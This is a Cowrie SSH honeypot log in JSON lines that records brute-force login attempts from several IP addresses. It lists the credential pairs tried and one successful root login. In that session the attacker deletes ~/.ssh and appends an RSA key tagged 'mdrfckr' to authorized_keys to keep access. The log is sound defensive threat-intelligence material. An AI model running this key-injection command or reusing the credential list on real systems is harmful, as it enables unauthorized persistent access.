{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:16:02.207236Z","src_ip":"103.161.170.12","session":"e06d1b9cb118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rafael","password":"rafael@123456","message":"login attempt [rafael/rafael@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:16:03.216451Z","src_ip":"103.161.170.12","session":"e06d1b9cb118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:16:04.459812Z","src_ip":"103.161.170.12","session":"e06d1b9cb118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":60350,"dst_ip":"10.17.0.5","dst_port":22,"session":"52917934c004","protocol":"ssh","message":"New connection: 14.225.2.125:60350 (10.17.0.5:22) [session: 52917934c004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:16:39.119398Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:16:39.383607Z","src_ip":"14.225.2.125","session":"52917934c004","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":60354,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cf6894e676f","protocol":"ssh","message":"New connection: 14.225.2.125:60354 (10.17.0.5:22) [session: 0cf6894e676f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:16:39.624132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:16:39.628402Z","src_ip":"14.225.2.125","session":"0cf6894e676f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:16:39.872999Z","src_ip":"14.225.2.125","session":"0cf6894e676f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dingy","password":"q1w2e3","message":"login attempt [dingy/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:16:40.607726Z","src_ip":"14.225.2.125","session":"0cf6894e676f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:16:41.855063Z","src_ip":"14.225.2.125","session":"0cf6894e676f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":50476,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e2fd202cf15","protocol":"ssh","message":"New connection: 103.161.170.12:50476 (10.17.0.5:22) [session: 5e2fd202cf15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:02.898754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:02.903530Z","src_ip":"103.161.170.12","session":"5e2fd202cf15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:03.143452Z","src_ip":"103.161.170.12","session":"5e2fd202cf15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Ai123","message":"login attempt [ai/Ai123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:04.131852Z","src_ip":"103.161.170.12","session":"5e2fd202cf15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:05.373426Z","src_ip":"103.161.170.12","session":"5e2fd202cf15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":50754,"dst_ip":"10.17.0.5","dst_port":22,"session":"57c20301ffab","protocol":"ssh","message":"New connection: 85.121.120.129:50754 (10.17.0.5:22) [session: 57c20301ffab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:17.375153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:17.379719Z","src_ip":"85.121.120.129","session":"57c20301ffab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:17.454115Z","src_ip":"85.121.120.129","session":"57c20301ffab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pierre","password":"pierrepierre","message":"login attempt [pierre/pierrepierre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:17.783083Z","src_ip":"85.121.120.129","session":"57c20301ffab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:18.859144Z","src_ip":"85.121.120.129","session":"57c20301ffab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":41690,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b6a29294e1f","protocol":"ssh","message":"New connection: 160.22.123.78:41690 (10.17.0.5:22) [session: 4b6a29294e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:32.364237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:32.369890Z","src_ip":"160.22.123.78","session":"4b6a29294e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:32.617622Z","src_ip":"160.22.123.78","session":"4b6a29294e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234","message":"login attempt [alex/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:33.641008Z","src_ip":"160.22.123.78","session":"4b6a29294e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:17:34.890878Z","src_ip":"160.22.123.78","session":"4b6a29294e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":63491,"dst_ip":"10.17.0.5","dst_port":22,"session":"40a6a60300ef","protocol":"ssh","message":"New connection: 103.161.170.12:63491 (10.17.0.5:22) [session: 40a6a60300ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:05.439585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:05.444244Z","src_ip":"103.161.170.12","session":"40a6a60300ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:05.687156Z","src_ip":"103.161.170.12","session":"40a6a60300ef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"docker","message":"login attempt [root/docker] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:06.690106Z","src_ip":"103.161.170.12","session":"40a6a60300ef","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:07.217489Z","src_ip":"103.161.170.12","session":"40a6a60300ef","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:07.221085Z","src_ip":"103.161.170.12","session":"40a6a60300ef","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:07.225146Z","src_ip":"103.161.170.12","session":"40a6a60300ef","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:07.472290Z","src_ip":"103.161.170.12","session":"40a6a60300ef","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:08.042663Z","src_ip":"103.161.170.12","session":"40a6a60300ef","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:08.046190Z","src_ip":"103.161.170.12","session":"40a6a60300ef","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:08.295410Z","src_ip":"103.161.170.12","session":"40a6a60300ef","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:08.299562Z","src_ip":"103.161.170.12","session":"40a6a60300ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":30569,"dst_ip":"10.17.0.5","dst_port":22,"session":"611c8f6449e8","protocol":"ssh","message":"New connection: 103.161.170.12:30569 (10.17.0.5:22) [session: 611c8f6449e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:08.538702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:08.542032Z","src_ip":"103.161.170.12","session":"611c8f6449e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:08.788868Z","src_ip":"103.161.170.12","session":"611c8f6449e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:09.809916Z","src_ip":"103.161.170.12","session":"611c8f6449e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:11.059740Z","src_ip":"103.161.170.12","session":"611c8f6449e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":2703,"dst_ip":"10.17.0.5","dst_port":22,"session":"4544dda69ec4","protocol":"ssh","message":"New connection: 103.161.170.12:2703 (10.17.0.5:22) [session: 4544dda69ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:11.309411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:11.313873Z","src_ip":"103.161.170.12","session":"4544dda69ec4","protocol":"ssh"}
